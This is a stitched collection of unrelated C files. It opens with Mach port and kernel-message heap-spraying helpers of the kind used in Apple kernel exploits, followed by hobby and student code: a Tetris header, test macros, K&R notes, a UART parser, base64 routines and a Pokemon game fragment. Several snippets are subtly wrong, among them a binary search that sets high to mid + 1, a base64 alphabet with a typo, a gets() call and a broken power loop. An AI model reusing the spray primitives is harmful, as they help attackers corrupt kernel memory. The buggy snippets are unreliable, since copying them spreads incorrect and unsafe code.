message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); send_failure = true; } // If the message failed to send, then we'll move on to the next port without // incrementing the sent message count. if (!send_failure) { descriptors_sent += descriptors_to_send; messages_sent_on_port++; } } // Free the dummy ports and the message. if (dummy_ports) { free(dummy_ports); } free(message); // Return the number of holding ports used and the number of out-of-line port descriptors // sent. *holding_port_count = ports_used; return descriptors_sent; } void ool_ports_spray_receive(const mach_port_t *holding_ports, size_t holding_port_count, void (^ool_ports_handler)(mach_port_t *, size_t)) { // Loop through all the ports. for (size_t port_index = 0; port_index < holding_port_count; port_index++) { // Handle each message on the port. mach_port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *header) { struct ool_ports_message *message = (struct ool_ports_message *)header; // We've successfully received a message. Make sure it's the type we // expect. if (message->header.msgh_id != 'olps') { WARNING("Received unexpected message id 0x%x", message->header.msgh_id); goto done; } if (!MACH_MSGH_BITS_IS_COMPLEX(message->header.msgh_bits)) { WARNING("Skipping non-complex message"); goto done; } // Go through the descriptors one at a time passing them to the handler // block. mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&message->ool_ports[0]; for (size_t i = 0; i < message->body.msgh_descriptor_count; i++) { void *next; switch (d->type.type) { case MACH_MSG_OOL_PORTS_DESCRIPTOR: next = &d->ool_ports + 1; mach_port_t *ports = (mach_port_t *) d->ool_ports.address; size_t count = d->ool_ports.count; ool_ports_handler(ports, count); break; default: WARNING("Unexpected descriptor type %u", d->type.type); goto done; } d = (mach_msg_descriptor_t *)next; } done: // Discard the message. mach_msg_destroy(&message->header); }); } } // ---- Mach port manipulation functions ---------------------------------------------------------- mach_port_t * mach_ports_create(size_t count) { mach_port_t *ports = calloc(count, sizeof(*ports)); assert(ports != NULL); mach_port_options_t options = {}; for (size_t i = 0; i < count; i++) { kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]); assert(kr == KERN_SUCCESS); } return ports; } void mach_ports_destroy(mach_port_t *ports, size_t count) { for (size_t i = 0; i < count; i++) { mach_port_t port = ports[i]; if (MACH_PORT_VALID(port)) { kern_return_t kr = mach_port_destroy(mach_task_self(), port); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_port_destroy", kr, mach_error_string(kr)); } } ports[i] = MACH_PORT_DEAD; } } void mach_ports_deallocate(mach_port_t *ports, size_t count) { for (size_t i = 0; i < count; i++) { mach_port_t port = ports[i]; if (MACH_PORT_VALID(port)) { kern_return_t kr = mach_port_deallocate(mach_task_self(), port); if (kr != KERN_SUCCESS) { ERROR("%s: %s returned %d: %s", __func__, "mach_port_deallocate", kr, mach_error_string(kr)); } } ports[i] = MACH_PORT_DEAD; } } void mach_port_increase_queue_limit(mach_port_t port) { mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX }; kern_return_t kr = mach_port_set_attributes( mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t) &limits, MACH_PORT_LIMITS_INFO_COUNT); assert(kr == KERN_SUCCESS); } void mach_port_insert_send_right(mach_port_t port) { kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); assert(kr == KERN_SUCCESS); } // ---- Basic Mach message receive ---------------------------------------------------------------- void mach_port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) { kern_return_t kr; mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL); // Allocate an initial message buffer. mach_msg_size_t msg_size = 0x4000; mach_msg_base_t *msg = malloc(msg_size); assert(msg != NULL); // Loop through all the messages queued on the port. for (;;) { // Try to receive the message. If the buffer isn't big enough, reallocate // and try again. This should only happen twice. for (size_t try = 0;; try++) { assert(try < 2); // Receive the message. kr = mach_msg( &msg->header, options, 0, msg_size, port, 0, MACH_PORT_NULL); if (kr != MACH_RCV_LARGE) { break; } // The buffer was too small, increase it. msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options); free(msg); msg = malloc(msg_size); assert(msg != NULL); } // If we got an error, stop processing messages on this port. If the error is a // timeout, that means that we've exhausted the queue, so don't print an error // message. if (kr != KERN_SUCCESS) { if (kr != MACH_RCV_TIMED_OUT) { ERROR("%s: %s returned %d: %s", __func__, "mach_msg", kr, mach_error_string(kr)); } break; } // Pass the message to the message handler. message_handler(&msg->header); } // Clean up resources. free(msg); } void mach_port_discard_messages(mach_port_t port) { mach_port_drain_messages(port, ^(mach_msg_header_t *header) { mach_msg_destroy(header); }); } void ool_ports_receive(const mach_port_t *holding_ports, size_t holding_port_count, void (^ool_ports_handler)(mach_port_t *, size_t)) { // Loop through all the ports. for (size_t port_index = 0; port_index < holding_port_count; port_index++) { // Handle each message on the port. mach_port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *header) { // Skip the message if not complex. if (!MACH_MSGH_BITS_IS_COMPLEX(header->msgh_bits)) { goto done; } // Get the descriptor count. The kernel guarantees that we can trust // everything is in-bounds. mach_msg_body_t *body = (mach_msg_body_t *) (header + 1); size_t descriptor_count = body->msgh_descriptor_count; // Go through the descriptors one at a time, passing any out-of-line ports // descriptors to the handler block. mach_msg_descriptor_t *d = (mach_msg_descriptor_t *) (body + 1); for (size_t i = 0; i < descriptor_count; i++) { void *next; switch (d->type.type) { case MACH_MSG_PORT_DESCRIPTOR: next = &d->port + 1; break; case MACH_MSG_OOL_DESCRIPTOR: case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: next = &d->out_of_line + 1; break; case MACH_MSG_OOL_PORTS_DESCRIPTOR: next = &d->ool_ports + 1; mach_port_t *ports = (mach_port_t *) d->ool_ports.address; size_t count = d->ool_ports.count; ool_ports_handler(ports, count); break; case MACH_MSG_GUARDED_PORT_DESCRIPTOR: next = &d->guarded_port + 1; break; default: WARNING("Unexpected descriptor type %u", d->type.type); goto done; } d = (mach_msg_descriptor_t *) next; } done: // Discard the message. mach_msg_destroy(header); }); } } // ---- Convenience API --------------------------------------------------------------------------- struct holding_port_array holding_ports_create(size_t count) { mach_port_t *ports = mach_ports_create(count); for (size_t i = 0; i < count; i++) { mach_port_increase_queue_limit(ports[i]); } return (struct holding_port_array) { ports, count }; } void holding_ports_destroy(struct holding_port_array all_ports) { mach_ports_destroy(all_ports.ports, all_ports.count); free(all_ports.ports); } mach_port_t holding_port_grab(struct holding_port_array *holding_ports) { if (holding_ports->count == 0) { return MACH_PORT_NULL; } mach_port_t port = holding_ports->ports[0]; holding_ports->ports++; holding_ports->count--; return port; } mach_port_t holding_port_pop(struct holding_port_array *holding_ports) { if (holding_ports->count == 0) { return MACH_PORT_NULL; } mach_port_t port = holding_ports->ports[0]; holding_ports->ports[0] = MACH_PORT_DEAD; holding_ports->ports++; holding_ports->count--; return port; } void ipc_kmsg_kalloc_fragmentation_spray_(struct ipc_kmsg_kalloc_fragmentation_spray *spray, size_t kalloc_size, size_t spray_size, size_t kalloc_size_per_port, struct holding_port_array *holding_ports) { // Check parameters. assert(kalloc_size <= spray_size); assert(kalloc_size_per_port >= kalloc_size); // Compute the number of messages in each port. size_t messages_per_port = kalloc_size_per_port / kalloc_size; if (messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Compute the total number of messages. size_t message_count = spray_size / kalloc_size; // Call the implementation. struct holding_port_array ports = *holding_ports; size_t ports_used = ports.count; size_t sprayed_count = ipc_kmsg_kalloc_fragmentation_spray(ports.ports, &ports_used, kalloc_size, message_count, messages_per_port); // Update the holding ports. holding_ports->ports = ports.ports + ports_used; holding_ports->count = ports.count - ports_used; // Return the ipc_kmsg_kalloc_fragmentation_spray object. spray->holding_ports.ports = ports.ports; spray->holding_ports.count = ports_used; spray->spray_size = sprayed_count * kalloc_size; spray->kalloc_size_per_port = kalloc_size * messages_per_port; } void ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_( struct ipc_kmsg_kalloc_fragmentation_spray *spray, size_t free_size, int from_end) { mach_port_t *ports = spray->holding_ports.ports; size_t ports_left = spray->holding_ports.count; size_t kalloc_size_per_port = spray->kalloc_size_per_port; assert((ports_left % 2) == 0); // Initialize the iteration parameters. size_t port_idx; int increment; if (from_end >= 0) { port_idx = 0; increment = 2; } else { port_idx = ports_left - 2; increment = -2; } // Iterate over the ports in pairs. for (; free_size > 0 && ports_left > 0; ports_left -= 2, port_idx += increment) { // Ensure this port is valid. mach_port_t port = ports[port_idx]; if (!MACH_PORT_VALID(port)) { continue; } // Destroy the port, freeing all enqueued messages. Mark the port as dead in the // holding ports array. mach_port_destroy(mach_task_self(), port); ports[port_idx] = MACH_PORT_DEAD; free_size -= kalloc_size_per_port; } } void ipc_kmsg_kalloc_spray_(struct ipc_kmsg_kalloc_spray *spray, const void *data, size_t kalloc_size, size_t spray_size, size_t kalloc_allocation_limit_per_port, struct holding_port_array *holding_ports) { // Check parameters and adjust default values. assert(kalloc_size <= spray_size); assert(kalloc_allocation_limit_per_port == 0 || kalloc_allocation_limit_per_port >= kalloc_size); // Compute the number of messages in each port. A value of zero propagates correctly. size_t messages_per_port = kalloc_allocation_limit_per_port / kalloc_size; if (messages_per_port > MACH_PORT_QLIMIT_MAX) { messages_per_port = MACH_PORT_QLIMIT_MAX; } // Compute the total number of messages. size_t message_count = spray_size / kalloc_size; // Call the implementation. struct holding_port_array ports = *holding_ports; size_t ports_used = ports.count; size_t sprayed_count = ipc_kmsg_kalloc_spray(ports.ports, &ports_used, data, kalloc_size, message_count, messages_per_port); // Update the holding ports. holding_ports->ports = ports.ports + ports_used; holding_ports->count = ports.count - ports_used; // Return the ipc_kmsg_kalloc_fragmentation_spray object. spray->holding_ports.ports = ports.ports; spray->holding_ports.count = ports_used; spray->spray_size = sprayed_count * kalloc_size; spray->kalloc_allocation_size_per_port = kalloc_size * messages_per_port; } void ool_ports_spray_(struct ool_ports_spray *spray, const mach_port_t *ool_ports, size_t ool_port_count, mach_msg_type_name_t ool_ports_disposition, size_t ool_port_descriptor_count, size_t ool_port_descriptors_per_message, size_t ipc_kmsg_size, size_t messages_per_port, struct holding_port_array *holding_ports) { // Check parameters. assert(ool_port_count <= max_ool_ports_per_message); // Call the implementation. struct holding_port_array ports = *holding_ports; size_t ports_used = ports.count; size_t sprayed_count = ool_ports_spray(ports.ports, &ports_used, ool_ports, ool_port_count, ool_ports_disposition, ool_port_descriptor_count, ool_port_descriptors_per_message, ipc_kmsg_size, messages_per_port); // Update the holding ports. holding_ports->ports = ports.ports + ports_used; holding_ports->count = ports.count - ports_used; // Return the ipc_kmsg_kalloc_fragmentation_spray object. spray->holding_ports.ports = ports.ports; spray->holding_ports.count = ports_used; spray->sprayed_count = sprayed_count; }
C
#pragma once #include <stdio.h> #include <stdbool.h> #include <stdlib.h> #include <time.h> #include "util.h" #define NUM_ROW 12 #define NUM_COL 25 #define NUM_ROTATE 4 #define NUM_TILE 4 #define BOARD_X 1 #define BOARD_Y 1 typedef char Board[NUM_COL][NUM_ROW]; typedef struct { Pos pos; int blockNum; int rotate; } Block; static const Pos BOARD_OFFSET = { BOARD_X, BOARD_Y }; static const Pos INBOARD_OFFSET = { BOARD_X + 1, BOARD_Y + 1 }; static const Pos NEXT_OFFSET = { BOARD_X + NUM_ROW + 4, 2 }; static const Pos HOLD_OFFSET = { BOARD_X + NUM_ROW + 4, 10 }; static const Pos BLOCK[][NUM_ROTATE][NUM_TILE] = { { { { 0, 0 }, { 1, 0 }, { 2, 0 }, {-1, 0 } }, { { 1, 0 }, { 1, 1 }, { 1, 2 }, { 1,-1 } }, { { 0, 1 }, { 1, 1 }, { 2, 1 }, {-1, 1 } }, { { 0, 0 }, { 0, 1 }, { 0, 2 }, { 0,-1 } } }, { { { 0, 0 }, { 1, 0 }, { 0, 1 }, { 1, 1 } }, { { 0, 0 }, { 1, 0 }, { 0, 1 }, { 1, 1 } }, { { 0, 0 }, { 1, 0 }, { 0, 1 }, { 1, 1 } }, { { 0, 0 }, { 1, 0 }, { 0, 1 }, { 1, 1 } } }, { { { 0, 0 }, { 1, 0 }, {-1, 0 }, { 0,-1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, { 1, 0 } }, { { 0, 0 }, { 1, 0 }, {-1, 0 }, { 0, 1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, {-1, 0 } }, }, { { { 0, 0 }, { 1, 0 }, {-1, 0 }, { 1,-1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, { 1, 1 } }, { { 0, 0 }, { 1, 0 }, {-1, 0 }, {-1, 1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, {-1,-1 } }, }, { { { 0, 0 }, { 1, 0 }, {-1, 0 }, {-1,-1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, { 1,-1 } }, { { 0, 0 }, { 1, 0 }, {-1, 0 }, { 1, 1 } }, { { 0, 0 }, { 0, 1 }, { 0,-1 }, {-1, 1 } }, }, { { { 0, 0 }, {-1,-1 }, { 0,-1 }, { 1, 0 } }, { { 0, 0 }, { 1,-1 }, { 1, 0 }, { 0, 1 } }, { { 0, 0 }, {-1,-1 }, { 0,-1 }, { 1, 0 } }, { { 0, 0 }, { 1,-1 }, { 1, 0 }, { 0, 1 } } }, { { { 0, 0 }, {-1, 0 }, { 0,-1 }, { 1,-1 } }, { { 0, 0 }, { 0,-1 }, { 1, 0 }, { 1, 1 } }, { { 0, 0 }, {-1, 0 }, { 0,-1 }, { 1,-1 } }, { { 0, 0 }, { 0,-1 }, { 1, 0 }, { 1, 1 } } } }; static const int NUM_BLOCKS = sizeof(BLOCK) / (NUM_ROTATE * NUM_TILE * sizeof(Pos)); enum { ERASE, DRAW, SHADOW, TEST }; enum { PLAYING, GAME_OVER }; enum { NOT_HOLDING = -1, HELD = -2, HOLDING }; void play(); Block newBlock(); // init and display void init(); void displayGuid(); void drawOutLine(int width, int height, Pos offset); void displayBoard(const Board board); void displayBlock(Block block, int blockType, Pos offset); void displayNextBlock(Block next, int blockType); //Moving Block bool setBlock(Board board, Block block, int value); bool moveBlock(Board board, Block* block, int key); bool rotateBlock(Board board, Block* block); void hardDown(Board board, Block* block, int blockType); void refreshShadow(Board board, Block* block, Block* shadow); // Holding Block void holdBlock(Board board, Block block, Block* hold); void getBlock(Board board, Block* block, Block* hold); void displayHold(Block* hold, int blockType); void setHoldState(Block* hold, int state); int getHoldState(Block hold); // Game Process int dropBlock(Board board, Block block, Block* hold, int level); void displayLine(int col, const char* block); void pullLine(Board board, int from); void removeLineAnimation(int* cols, int numCol); void removeLine(Board board, int* cols, int numCol); void checkLine(Board board, int* score, int *level); void manageGameData(int* level, int* score, int lineCount);
C
#ifndef SUNIT_INT_H #define SUNIT_INT_H /* ========================================================================= * PRIVATE HEADERS * ========================================================================= */ typedef int (*AssertFuncPtr)(); void raise_test_fail(const char* test_name); void print_module_header(const char* file_name); #define run_all_tests(...) \ { \ print_module_header(__FILE__); \ run_all_tests(__VA_ARGS__, NULL); \ } \ #define assert_true(arg) assert_bool_wrapper(__func__, __LINE__, assert_true, repr, "%s", true, arg) #define assert_false(arg) assert_bool_wrapper(__func__, __LINE__, assert_false, repr, "%s", false, arg) #define assert_int_eq(...) assert_eq_wrapper(__func__, __LINE__, assert_int_eq, repr, "%d", __VA_ARGS__) #define assert_str_eq(...) assert_eq_wrapper(__func__, __LINE__, assert_str_eq, repr, "%s", __VA_ARGS__) #define assert_uint32_arr_eq(...) assert_arr_eq_wrapper(__func__, __LINE__, assert_uint32_arr_eq, repr_arr, "%u", __VA_ARGS__) /* ========================================================================= * ASSERTION WRAPPERS * ========================================================================= */ #define assert_bool_wrapper(test_name, line_num, assert_func, repr, format, expected, actual) \ { \ if (! assert_func(actual)) { \ raise_test_fail(test_name); \ char* _actual = expected == true ? "false" : "true"; \ assert_failed_msg(repr, line_num, format, #expected, _actual); \ } \ } #define assert_eq_wrapper(test_name, line_num, assert_func, repr, format, expected, actual) \ { \ if (! assert_func(expected, actual)) { \ raise_test_fail(test_name); \ assert_failed_msg(repr, line_num, format, expected, actual); \ } \ } #define assert_arr_eq_wrapper(test_name, line_num, assert_func, repr_arr, format, \ expected, actual, size_expected, size_actual) \ { \ if (! assert_func(expected, actual, size_expected, size_actual)) { \ raise_test_fail(test_name); \ assert_arr_failed_msg(repr_arr, line_num, format, expected, actual, \ size_expected, size_actual); \ } \ } /* ========================================================================= * GENERIC REPRESENTATION * ========================================================================= */ #define repr(format, data) printf(format, data) #define repr_arr(format, arr, size) \ { \ printf("["); \ for (int i = 0; i < size; i++) { \ printf(format, arr[i]); \ if (i < size - 1) printf(", "); \ } \ printf("]"); \ } /* ========================================================================= * MESSAGE REPRESENTATION * ========================================================================= */ #define assert_failed_msg(repr, line_num, format, expected, actual) \ { \ printf("FAILED on line %d. ", line_num); \ printf("Expected: "); repr(format, expected); \ printf(", actual: "); repr(format, actual); \ printf(".\n"); \ } #define assert_arr_failed_msg(repr, line_num, format, \ expected, actual, size_expected, size_actual) \ { \ printf("FAILED on line %d. ", line_num); \ printf("Expected: "); repr(format, expected, size_expected); \ printf(", actual: "); repr(format, actual, size_actual); \ printf(".\n"); \ } #endif /* SUNIT_INT_H */
C
//INDEX //001.语句 自动换行输出 //002.函数 int bitcount(unsigned x)统计变量中1的个数 //003.函数 getbits(x, p, n)它返回 x 中从右边数第 p 位开始向右数 n 位的字段。 //004.规则 优先级 //005.函数 int binsearch(int x, int v[], int n) //006.规则 巧用逗号运算符 /**********************************************************************/ //001 /*打印一个数组的n个元素,每行打印10个元素,每列之间用一个空格隔开, 每行用一个换行符结束(包括最后一行)*/ for(i=0;i<n;i++) printf("%6d%c",a[i],(i%10==9 !! i==n-1)?'\n':' '); /**********************************************************************/ //002 /*函数 bitcount 统计其整型参数的值为 1 的二进制位的个数。 这里将 x 声明为无符号类型是为了保证将 x 右移时, 无论该程序在什么机器上运行,左边空出的位都用0(而不是符号位)填补*/ /* bitcount: count 1 bits in x */ int bitcount(unsigned x) { int b; for(b=0; x!=0; x>>=1) if (x&1) b++; return b; } /**********************************************************************/ //003 /*这里假定最右边的一位是第 0 位,n 与 p 都是合理的正值。 例如,getbits(x, 4, 3)返回 x 中第 4、3、2 三位的值。 */ /* getbits: get n bits from position p */ unsigned getbits(unsigned x, int p, int n) { return (x >> (p+1-n)) & ~(~0 << n); } /**********************************************************************/ //004 //运算符优先级 () [] -> ._________________________ 从左至右 ! ~ ++ -- + - * (type) sizeof______ 从右至左 * / %_______________________________从左至右 + - _______________________________ 从左至右 << >>______________________________ 从左至右 &__________________________________ 从左至右 ^__________________________________ 从左至右 |__________________________________ 从左至右 &&_________________________________ 从左至右 ||_________________________________ 从左至右 ?:_________________________________ 从左至右 = += -= *= /= %= &= ^= |= <<= >>=__ 从右至左 ,__________________________________ 从右至左 /*注:一元运算符+、-、&与*比相应的二元运算符+、-、&与*的优先级高。 C 语言没有指定同一运算符中多个操作数的计算顺序(&&、||、?:和,运算符除外)。 例如,在形如x = f() + g();的语句中,f()可以在 g()之前计算,也可以在 g()之后计算。 因此,如果函数 f 或 g 改变了另一个函数所使用的变量,那么 x 的结果可能会依赖于 这两个函数的计算顺序。为了保证特定的计算顺序,可以把中间结果保存在临时变量中。 类似地,C 语言也没有指定函数各参数的求值顺序。因此,下列语句 printf("%d %d\n", ++n, power(2, n)); 在不同的编译器中可能会产生不同的结果,这取决于 n 的自增运算在 power 调用之前还是之后执行。*/ /**********************************************************************/ //005 /* binsearch: find x in v[0] <= v[1] <= ... <= v[n-1] */ int binsearch(int x, int v[], int n) { int low, high, mid; low = 0; high = n - 1; while (low <= high) { mid = (low+high)/2; if (x < v[mid]) high = mid + 1; else if (x > v[mid]) low = mid + 1; else /* found match */ return mid; } return -1; /* no match */ } /**********************************************************************/ //006 /*逗号运算符“,”也是 C 语言优先级最低的运算符,在 for 语句中经常会用到它。被逗 号分隔的一对表达式将按照从左到右的顺序进行求值,表达式右边的操作数的类型和值即为 其结果的类型和值.*逗号运算符最适用于关系紧密的结构中,比如reverse 函数内的 for 语句, 对于需要在单个表达式中进行多步计算的宏来说也很适合.*/ #include <string.h> /* reverse: reverse string s in place */ void reverse(char s[]) { int c, i, j; for (i = 0,j=strlen(s)-1; i<j; i++,j--) { c = s[i]; //这三条语句等价于c=s[i],s[i]=s[j],s[j]=c; s[i] = s[j]; //这样,元素的交换过程便可以看成是一个单步操作 s[j] = c; } }
C
/******************************************************************************* This file is part of the up2p. Copyright wilddog.com All right reserved. File: protocol_uart.c No description TIME LIST: CREATE skyli *******************************************************************************/ #include "protocol_uart.h" #include <stdio.h> #include <stdlib.h> /* todo * 从队列中取出数据,并解析 **/ int uart_parse(u8 *p_pack,const u16 len){ UART_PACKET *p_rec = NULL; if(len < sizeof(UART_PACKET)){ // no match return -1; } p_rec = (UART_PACKET*)p_pack; if( p_rec->version != UART_VERSION){ // no match dump the package return -1; } return uart_cmd_handl(p_pack); } /* todo * 底层接收 */ int _uart_recv(u8 *p_rec,u16 len){ //todo put packet to queue uart_parse(p_rec,len); } int uart_pack_alloc(u8 **pp_packet,u16 cmd,const u8 *p_data,const u16 len){ UART_PACKET *p_packet = malloc(sizeof(UART_PACKET)+len); if(!p_packet) return -1; //protocol packet p_packet->version = UART_VERSION; p_packet->cmd = cmd; p_packet->len = len; if(!p_data | len ){ memcpy(p_packet->payload,p_data,len); } *pp_packet = p_packet; return (sizeof(UART_PACKET)+len); } // 响应串口数据 int uart_cmd_handl(u8 *p_rec){ UART_PACKET *p_pack = (UART_PACKET*)p_rec; switch(p_pack->cmd){ case CMD_SOCKET_ON: break; case CMD_SOKET_OFF: break; case CMD_LIGHT_UP: { UART_Light_T *p_light = (UART_Light_T*)p_pack->payload; printf("change %d light to %d \n",p_light->no,p_light->intensity); } default: break; } return 0; } void main(void) { UART_Light_T test_light; u8 *p_send = NULL; test_light.no = 10; test_light.intensity = 99; int slen = uart_pack_alloc(&p_send,CMD_SOCKET_ON,&test_light,sizeof(UART_Light_T)); if(!slen | !p_send ) return -1; _uart_recv(p_send,slen); free(p_send); p_send = NULL; }
C
typedef int DIR; struct dirent { char d_name[50]; }; typedef struct dirent dirent; DIR mock_state = -1; dirent cur_ent; DIR* opendir(const char* path) { if (strcmp(path, "illegal") == 0) { return NULL; } if (strcmp(path, "cant/close") == 0) { /* Iteration will work but close will fail. */ mock_state = -1; return &mock_state; } mock_state = 0; return &mock_state; } int closedir(DIR* dir) { if (*dir < 0) { return -1; } *dir = -1; return 0; } struct dirent* readdir(DIR* dir) { switch (*dir) { case 0: strcpy(cur_ent.d_name, "file0"); break; case 1: strcpy(cur_ent.d_name, "file1"); break; case 2: strcpy(cur_ent.d_name, "file2"); break; default: return NULL; } ++mock_state; return &cur_ent; }
C
/* example-8.3 */ #include <stdio.h> #include <string.h> #include <ctype.h> int main(void) { char st[100]; int i,n; printf ("文字列を入れてください "); gets(st); n=strlen(st); for(i=0;i<n;i++) st[i]=toupper(st[i]); printf ("すべて大文字で表示:%s\n",st); for(i=0;i<n;i++) st[i]=tolower(st[i]); printf ("すべて小文字で表示:%s\n",st); return 0; }
C
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> int p[3]; int f[2]; int min(int a, int b) { return a < b ? a : b; } int main(void) { double minp = 0; double minf = 0; scanf("%d", &p[0]); scanf("%d", &p[1]); scanf("%d", &p[2]); scanf("%d", &f[0]); scanf("%d", &f[1]); minp = min(min(p[0], p[1]), p[2]); minf = min(f[0], f[1]); printf("%.1f", (minp + minf) * 110 / 100); return 0; }
C
#define _CRT_SECURE_NO_WARNINGS #include "Header.h"; char base64[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789+/" }; int FindNumber(char symbol) { int i = 0; for (i; i < 64; i++) { if (symbol == base64[i]) break; } return i; } void Encode(FILE *f1,FILE*f2) { char c; //check EOF assert((f1 || f2) != NULL); do { char* three= (char*)calloc(4, sizeof(char)); char* four = (char*)calloc(5, sizeof(char)); fgets(three, 4, f1); c = three[0]; if (c == '\n'||c=='\0') break; ThreeToFour(three, four); fputs(four, f2); free(four); free(three); } while (1); } void Decode(FILE *f1, FILE *f2) { assert((f1 || f2) != NULL); char c; do { char* three = (char*)calloc(4, sizeof(char)); char* four = (char*)calloc(5, sizeof(char)); fgets(four, 5, f1); c = four[0]; if (c == '\n' || c == '\0') break; FourToThree(three, four); fputs(three, f2); free(four); free(three); } while (1); } void ThreeToFour(char* three, char*four) { unsigned char a, b; four[0] = base64[(int)three[0] >> 2]; a = three[0] << 6; b = three[1] >> 4; b = b << 2; a = a ^ b; four[1] = base64[(int)a / 4]; a = three[1] << 4; a = a >> 2; b = three[2] >> 6; a = a ^ b; four[2] = base64[(int)a]; a = three[2] << 2; four[3] = base64[(int)a / 4]; } void FourToThree(char* three, char* four) { unsigned char a, b; a = FindNumber(four[0]); a = a << 2; b = FindNumber(four[1]); b = b >> 4; three[0] = a ^ b; a = FindNumber(four[1]) << 4; b = FindNumber(four[2]) <<2; b = b >> 4; three[1] = a ^ b; a = FindNumber(four[2]) << 6; b = FindNumber(four[3]); three[2] = a ^ b; }
C
#include "base.h" /** * y = sin(x^3/2) + x * x = 1 */ double CALL(task)(double x, double eps, bool *divergent) { return x_sin(pow(x, 3) / 2, eps, divergent) + x; } double CALL(base)(double x, double _) { return sin(pow(x, 3) / 2) + x; } double CALL(initiate_x)() { return 1; }
C
///4. Write a function in C to print all prime numbers inside a given range [a,b]. You need to pass a and b as parameters to the function. #include<stdio.h> int primeInRange(int a, int b) { int f; for (int j=a; j<=b; j++) { f=1; for(int i=2; i<j; i++) { if(j%i==0) { f = 0; break; } } if(j==1) { } else if (f == 1) { printf("%d is prime\n",j); ///break; } } return 0; } int main() { int a=10, b=20; primeInRange(a, b); return 0; }
C
// snake.h #ifndef SNAKE_H #define SNAKE_H #endif typedef struct body { int x; int y; struct body *next; struct body *prev; } body; typedef struct snake { int len; body *head; body *tail; } snake;
C
#include <stdio.h> int main() { int a,b,c; printf("Enter number\n"); scanf("%d",&a); printf("Enter number you want to take power of it\n"); scanf("%d",&b); for(c=1;c<=b;c++){ a=a*a; } printf("%d",&a); }
C
//#include <conio.h> #include <stdio.h> #include <stdlib.h> #include <locale.h> int main (){ setlocale(LC_ALL, "Portuguese"); float celsius, fah; printf("Digite a temperatura em graus Celsius: "); scanf("%f", &celsius); fah = (celsius*1.8)+32; printf("A temperatura equivale a %2.f em Fahrenheit", fah); return 0; }
C
#include "pokemonGo.h" struct PokemonGo_s { Map pokedex; Map evolutions; Map world; Map trainers; Store store; }; static void pokemonDestroyForMain(MapDataElement pokemon); static void evolutionDestroyForMain(MapDataElement evolution); static void locationDestroyForMain(MapDataElement location); static void trainerDestroyForMain(MapDataElement trainer); static MapDataElement pokemonCopyForMain(MapDataElement pokemon); static MapDataElement evolutionCopyForMain(MapDataElement evolution); static MapDataElement locationCopyForMain(MapDataElement location); static MapDataElement trainerCopyForMain(MapDataElement trainer); static void freeMapKeyString(MapKeyElement n); static int compareKeyElement(MapKeyElement element1, MapKeyElement element2); static MapKeyElement copyKeyString(MapKeyElement name); static void destroyBasicADTelements(Map pokedex, Map evolutions, Map world, Map trainers, Store store); static bool huntPokemon(Location loc, Pokemon poc, Trainer trainer); static bool PokemonEvolution(Pokemon pokemon, PokemonGo PG); static int pokedexGetCP(PokemonGo PG, char* name); static char* pokedexGetNewType(PokemonGo PG, char* name); /* * this function destroyes a pokemon as a Data element */ static void pokemonDestroyForMain(MapDataElement pokemon) { pokemonDestroy(pokemon); } /* * this function destroyes an evolution object as a Data element */ static void evolutionDestroyForMain(MapDataElement evolution) { freeEvo(evolution); } /* * this function destroyes a location object as a Data element */ static void locationDestroyForMain(MapDataElement location) { locationDestroy(location); } /* * this function destroyes a trainer object as a Data element */ static void trainerDestroyForMain(MapDataElement trainer) { destroyTrainer(trainer); } /* * this function copies a pokemon object as a Data element */ static MapDataElement pokemonCopyForMain(MapDataElement pokemon) { return pokemonCopy(pokemon); } /* * this function copies an evolution object as a Data element */ static MapDataElement evolutionCopyForMain(MapDataElement evolution) { return copyEvo(evolution); } /* * this function copies a location object as a Data element */ static MapDataElement locationCopyForMain(MapDataElement location) { return locationCopy(location); } /* * this function copies a trainer object as a Data element */ static MapDataElement trainerCopyForMain(MapDataElement trainer) { return copyTrainer(trainer); } /* * free a key in map as a char*(string) */ static void freeMapKeyString(MapKeyElement n) { free(n); } /* * compares 2 keyElements as from type char* */ static int compareKeyElement(MapKeyElement element1, MapKeyElement element2) { if (!element1 || !element2) return -1; if (strcmp((char*) element1, (char*) element2) == 0) { return 0; } else return strcmp((char*) element1, (char*) element2) > 0 ? 1 : -1; } /* * copy a key element from char* type */ static MapKeyElement copyKeyString(MapKeyElement name) { if (!name) return NULL; char* new_str = malloc(sizeof(char) * strlen(name) + 1); if (!new_str) return NULL; strcpy(new_str, (char*) name); return new_str; } /* * this function creates all the relevent ADT of the game and initielizes the * POKEMONGO struct */ PokemonGo pokemonGoCreate() { PokemonGo PG = malloc(sizeof(*PG)); Map pokedex = mapCreate(copyKeyString, pokemonCopyForMain, freeMapKeyString, pokemonDestroyForMain, compareKeyElement); Map evolutions = mapCreate(copyKeyString, evolutionCopyForMain, freeMapKeyString, evolutionDestroyForMain, compareKeyElement); Map world = mapCreate(copyKeyString, locationCopyForMain, freeMapKeyString, locationDestroyForMain, 